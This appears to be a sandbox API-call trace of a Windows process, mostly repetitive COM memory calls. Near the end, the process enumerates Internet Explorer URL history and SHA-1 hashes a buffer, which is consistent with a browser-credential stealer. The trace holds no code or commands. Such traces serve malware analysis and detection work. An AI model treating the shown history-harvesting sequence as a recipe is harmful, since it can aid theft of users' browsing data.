	[0210.935] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.935] CoTaskMemFree (pv=0x576960) 
	[0210.935] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.935] CoTaskMemFree (pv=0x5d4fa0) 
	[0210.935] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.936] CoTaskMemFree (pv=0x58d108) 
	[0210.936] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.936] CoTaskMemFree (pv=0x5d5fa0) 
	[0210.936] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.937] CoTaskMemFree (pv=0x54e910) 
	[0210.937] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.937] CoTaskMemFree (pv=0x58b188) 
	[0210.937] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.937] CoTaskMemFree (pv=0x5d1a90) 
	[0210.937] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.938] CoTaskMemFree (pv=0x5d8218) 
	[0210.938] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.938] CoTaskMemFree (pv=0x5d83b8) 
	[0210.938] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.939] CoTaskMemFree (pv=0x54ec40) 
	[0210.939] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.939] CoTaskMemFree (pv=0x576b70) 
	[0210.939] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.939] CoTaskMemFree (pv=0x5be880) 
	[0210.939] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.940] CoTaskMemFree (pv=0x56fab8) 
	[0210.940] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.940] CoTaskMemFree (pv=0x56fc80) 
	[0210.940] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.941] CoTaskMemFree (pv=0x54eee8) 
	[0210.941] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.941] CoTaskMemFree (pv=0x5d6198) 
	[0210.941] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.941] CoTaskMemFree (pv=0x5d4360) 
	[0210.942] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.942] CoTaskMemFree (pv=0x58d228) 
	[0210.942] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.942] CoTaskMemFree (pv=0x547b98) 
	[0210.942] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.943] CoTaskMemFree (pv=0x59d600) 
	[0210.943] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.943] CoTaskMemFree (pv=0x5d6390) 
	[0210.943] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.943] CoTaskMemFree (pv=0x5d51a8) 
	[0210.944] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.944] CoTaskMemFree (pv=0x547dc8) 
	[0210.944] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.944] CoTaskMemFree (pv=0x5d52e0) 
	[0210.944] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.945] CoTaskMemFree (pv=0x5d6588) 
	[0210.945] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.945] CoTaskMemFree (pv=0x547f18) 
	[0210.945] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.946] CoTaskMemFree (pv=0x5d44c8) 
	[0210.946] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.946] CoTaskMemFree (pv=0x58d4c8) 
	[0210.946] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.946] CoTaskMemFree (pv=0x5d55b8) 
	[0210.946] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.947] CoTaskMemFree (pv=0x5d56f0) 
	[0210.947] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.947] CoTaskMemFree (pv=0x59d780) 
	[0210.947] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.948] CoTaskMemFree (pv=0x5d4630) 
	[0210.948] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.948] CoTaskMemFree (pv=0x5d4798) 
	[0210.948] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.948] CoTaskMemFree (pv=0x5d4900) 
	[0210.948] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.949] CoTaskMemFree (pv=0x58b458) 
	[0210.949] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.949] CoTaskMemFree (pv=0x5d4a68) 
	[0210.949] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.949] CoTaskMemFree (pv=0x59da00) 
	[0210.949] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.950] CoTaskMemFree (pv=0x58b608) 
	[0210.950] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.950] CoTaskMemFree (pv=0x5d5b68) 
	[0210.950] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.951] CoTaskMemFree (pv=0x5beac0) 
	[0210.951] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.951] CoTaskMemFree (pv=0x58b7b8) 
	[0210.951] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.952] CoTaskMemFree (pv=0x5d4bd0) 
	[0210.952] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.952] CoTaskMemFree (pv=0x5d6780) 
	[0210.952] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.953] CoTaskMemFree (pv=0x5dc9c0) 
	[0210.953] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.953] CoTaskMemFree (pv=0x5bed00) 
	[0210.953] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.953] CoTaskMemFree (pv=0x5ddde0) 
	[0210.953] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.954] CoTaskMemFree (pv=0x5a19e0) 
	[0210.954] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.954] CoTaskMemFree (pv=0x5a1bc0) 
	[0210.954] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.955] CoTaskMemFree (pv=0x5d6ac8) 
	[0210.955] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.955] CoTaskMemFree (pv=0x5e0140) 
	[0210.955] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.956] CoTaskMemFree (pv=0x5ddff0) 
	[0210.956] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.956] CoTaskMemFree (pv=0x5de200) 
	[0210.956] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.956] CoTaskMemFree (pv=0x5d5d70) 
	[0210.956] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.957] CoTaskMemFree (pv=0x5d5ea8) 
	[0210.957] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.957] CoTaskMemFree (pv=0x5e0290) 
	[0210.957] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.958] CoTaskMemFree (pv=0x5e4940) 
	[0210.958] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.958] CoTaskMemFree (pv=0x5e1a78) 
	[0210.958] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.958] CoTaskMemFree (pv=0x54f080) 
	[0210.959] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.959] CoTaskMemFree (pv=0x5d4e28) 
	[0210.959] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.959] CoTaskMemFree (pv=0x58ba88) 
	[0210.959] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.960] CoTaskMemFree (pv=0x5e69b8) 
	[0210.960] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.960] CoTaskMemFree (pv=0x5de410) 
	[0210.960] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.960] CoTaskMemFree (pv=0x5e4bc0) 
	[0210.960] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.961] CoTaskMemFree (pv=0x5e7a98) 
	[0210.961] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.961] CoTaskMemFree (pv=0x5e4d40) 
	[0210.961] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.962] CoTaskMemFree (pv=0x5e7d38) 
	[0210.962] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.962] CoTaskMemFree (pv=0x5e1d50) 
	[0210.962] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.965] CoTaskMemFree (pv=0x5d97e0) 
	[0210.965] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.965] CoTaskMemFree (pv=0x5d6f60) 
	[0210.965] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.966] CoTaskMemFree (pv=0x5afb88) 
	[0210.966] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.966] CoTaskMemFree (pv=0x5e6df0) 
	[0210.966] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.967] CoTaskMemFree (pv=0x58d8e8) 
	[0210.967] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.967] CoTaskMemFree (pv=0x58da08) 
	[0210.967] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.967] CoTaskMemFree (pv=0x58bc38) 
	[0210.967] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.968] CoTaskMemFree (pv=0x5a2160) 
	[0210.968] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.968] CoTaskMemFree (pv=0x59d080) 
	[0210.968] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.968] CoTaskMemFree (pv=0x54e668) 
	[0210.968] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.969] CoTaskMemFree (pv=0x5e8ea8) 
	[0210.969] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.969] CoTaskMemFree (pv=0x56f5f8) 
	[0210.969] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.970] CoTaskMemFree (pv=0x5d7158) 
	[0210.970] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.970] CoTaskMemFree (pv=0x5e7138) 
	[0210.970] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.972] CoTaskMemFree (pv=0x5afda8) 
	[0210.972] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.973] CoTaskMemFree (pv=0x5e03e0) 
	[0210.973] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.973] CoTaskMemFree (pv=0x5e20f8) 
	[0210.973] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.973] CoTaskMemFree (pv=0x5ccdc8) 
	[0210.973] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.973] CoTaskMemFree (pv=0x5de410) 
	[0210.973] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.974] CoTaskMemFree (pv=0x59d280) 
	[0210.974] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.974] CoTaskMemFree (pv=0x5e7390) 
	[0210.974] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.974] CoTaskMemFree (pv=0x59d100) 
	[0210.974] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.974] CoTaskMemFree (pv=0x5d1d18) 
	[0210.974] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.974] CoTaskMemFree (pv=0x5e7408) 
	[0210.974] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.975] CoTaskMemFree (pv=0x5e5040) 
	[0210.975] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.975] CoTaskMemFree (pv=0x58b068) 
	[0210.975] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.975] CoTaskMemFree (pv=0x5e07d0) 
	[0210.975] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.975] CoTaskMemFree (pv=0x5e7480) 
	[0210.975] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.976] CoTaskMemFree (pv=0x5d4018) 
	[0210.976] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.976] CoTaskMemFree (pv=0x54ed50) 
	[0210.976] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.976] CoTaskMemFree (pv=0x5d7158) 
	[0210.976] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.976] CoTaskMemFree (pv=0x576a10) 
	[0210.976] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.976] CoTaskMemFree (pv=0x54eb30) 
	[0210.976] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.977] CoTaskMemFree (pv=0x5d9a50) 
	[0210.977] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.977] CoTaskMemFree (pv=0x5d5070) 
	[0210.977] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.977] CoTaskMemFree (pv=0x5d51a8) 
	[0210.977] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.977] CoTaskMemFree (pv=0x58bcc8) 
	[0210.977] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.977] CoTaskMemFree (pv=0x5ccfa8) 
	[0210.978] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.978] CoTaskMemFree (pv=0x54e998) 
	[0210.978] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.978] CoTaskMemFree (pv=0x5d4018) 
	[0210.978] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.978] CoTaskMemFree (pv=0x56fd18) 
	[0210.978] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.978] CoTaskMemFree (pv=0x5de620) 
	[0210.978] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.978] CoTaskMemFree (pv=0x5e8fa8) 
	[0210.979] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.979] CoTaskMemFree (pv=0x55d578) 
	[0210.979] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.979] CoTaskMemFree (pv=0x5dbd18) 
	[0210.979] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.979] CoTaskMemFree (pv=0x5d4798) 
	[0210.979] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.979] CoTaskMemFree (pv=0x59d880) 
	[0210.979] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.980] CoTaskMemFree (pv=0x5d62e8) 
	[0210.980] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.980] CoTaskMemFree (pv=0x5afe30) 
	[0210.980] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.980] CoTaskMemFree (pv=0x547e38) 
	[0210.980] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.980] CoTaskMemFree (pv=0x5d56f0) 
	[0210.980] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.980] CoTaskMemFree (pv=0x5e91d0) 
	[0210.980] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.981] CoTaskMemFree (pv=0x58b608) 
	[0210.981] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.981] CoTaskMemFree (pv=0x58b188) 
	[0210.981] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.981] CoTaskMemFree (pv=0x5d4900) 
	[0210.981] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.981] CoTaskMemFree (pv=0x58bcc8) 
	[0210.981] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.981] CoTaskMemFree (pv=0x59d380) 
	[0210.981] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.981] CoTaskMemFree (pv=0x5affc8) 
	[0210.982] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.982] CoTaskMemFree (pv=0x5d4540) 
	[0210.982] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.982] CoTaskMemFree (pv=0x5be880) 
	[0210.982] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.982] CoTaskMemFree (pv=0x5a1d00) 
	[0210.982] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.982] CoTaskMemFree (pv=0x5e5240) 
	[0210.982] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.982] CoTaskMemFree (pv=0x56ff78) 
	[0210.982] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.983] CoTaskMemFree (pv=0x5b0270) 
	[0210.983] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.983] CoTaskMemFree (pv=0x58be78) 
	[0210.983] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.983] CoTaskMemFree (pv=0x5d5d70) 
	[0210.983] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.983] CoTaskMemFree (pv=0x55d640) 
	[0210.983] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.983] CoTaskMemFree (pv=0x5e0370) 
	[0210.983] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.984] CoTaskMemFree (pv=0x5d6978) 
	[0210.984] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.984] CoTaskMemFree (pv=0x5e0920) 
	[0210.984] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.984] CoTaskMemFree (pv=0x5a1c60) 
	[0210.984] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.984] CoTaskMemFree (pv=0x5ddde0) 
	[0210.984] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.985] CoTaskMemFree (pv=0x5e9568) 
	[0210.985] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.985] CoTaskMemFree (pv=0x5e54c0) 
	[0210.985] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.988] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0210.988] IUnknown:AddRef (This=0x5b7be0) returned 0x5
	[0210.988] IUrlHistoryStg:EnumUrls (in: This=0x5b7be0, ppenum=0x5ffdf10 | out: ppenum=0x5ffdf10*=0x5ed078) returned 0x0
	[0210.988] IUnknown:QueryInterface (in: This=0x5ed078, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffd810 | out: ppvObject=0x5ffd810*=0x5ed078) returned 0x0
	[0210.988] IUnknown:QueryInterface (in: This=0x5ed078, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5ffd7cc | out: ppvObject=0x5ffd7cc*=0x0) returned 0x80004002
	[0210.988] IUnknown:QueryInterface (in: This=0x5ed078, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffd6c0 | out: ppvObject=0x5ffd6c0*=0x0) returned 0x80004002
	[0210.988] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0210.988] CoGetContextToken (in: pToken=0x5ffd658 | out: pToken=0x5ffd658) returned 0x0
	[0210.988] CoGetContextToken (in: pToken=0x5ffd61c | out: pToken=0x5ffd61c) returned 0x0
	[0210.988] IUnknown:QueryInterface (in: This=0x527e48, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffd650 | out: ppvObject=0x5ffd650*=0x527e54) returned 0x0
	[0210.988] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527e54, pAptType=0x5ffd680 | out: pAptType=0x5ffd680*=0) returned 0x0
	[0210.988] IUnknown:Release (This=0x527e54) returned 0x1
	[0210.988] IUnknown:QueryInterface (in: This=0x5ed078, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffd640 | out: ppvObject=0x5ffd640*=0x0) returned 0x80004002
	[0210.988] CoGetContextToken (in: pToken=0x5ffd650 | out: pToken=0x5ffd650) returned 0x0
	[0210.988] IUnknown:AddRef (This=0x5ed078) returned 0x4
	[0210.989] IUnknown:QueryInterface (in: This=0x5ed078, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffd6c4 | out: ppvObject=0x5ffd6c4*=0x0) returned 0x80004002
	[0210.989] IUnknown:Release (This=0x5ed078) returned 0x3
	[0210.989] IUnknown:Release (This=0x5ed078) returned 0x2
	[0210.989] IUnknown:Release (This=0x5ed078) returned 0x1
	[0210.989] IUnknown:Release (This=0x5b7be0) returned 0x5
	[0210.989] CoGetContextToken (in: pToken=0x5ffddd0 | out: pToken=0x5ffddd0) returned 0x0
	[0210.989] CoGetContextToken (in: pToken=0x5ffdd90 | out: pToken=0x5ffdd90) returned 0x0
	[0210.989] IUnknown:AddRef (This=0x5ed078) returned 0x2
	[0210.989] IUnknown:QueryInterface (in: This=0x5ed078, riid=0x5ffde0c*(Data1=0x3c374a42, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), ppvObject=0x5ffde08 | out: ppvObject=0x5ffde08*=0x5ed078) returned 0x0
	[0210.989] IUnknown:Release (This=0x5ed078) returned 0x2
	[0210.989] IUnknown:Release (This=0x5ed078) returned 0x1
	[0210.992] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0210.992] CoGetContextToken (in: pToken=0x5ffdd6c | out: pToken=0x5ffdd6c) returned 0x0
	[0210.992] IUnknown:AddRef (This=0x5ed078) returned 0x2
	[0210.992] IUnknown:QueryInterface (in: This=0x5ed078, riid=0x5ffdde8*(Data1=0x3c374a42, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), ppvObject=0x5ffdde4 | out: ppvObject=0x5ffdde4*=0x5ed078) returned 0x0
	[0210.992] IUnknown:Release (This=0x5ed078) returned 0x2
	[0210.992] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0210.992] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x0 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0210.993] IUnknown:Release (This=0x5ed078) returned 0x2
	[0210.993] CoTaskMemFree (pv=0x5e4940) 
	[0211.130] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54eff8) returned 1
	[0211.131] GetLastError () returned 0x0
	[0211.132] CryptCreateHash (in: hProv=0x54eff8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.132] GetLastError () returned 0x0
	[0211.135] CryptHashData (hHash=0x5bb4b0, pbData=0x2536ea4, dwDataLen=0x78, dwFlags=0x0) returned 1
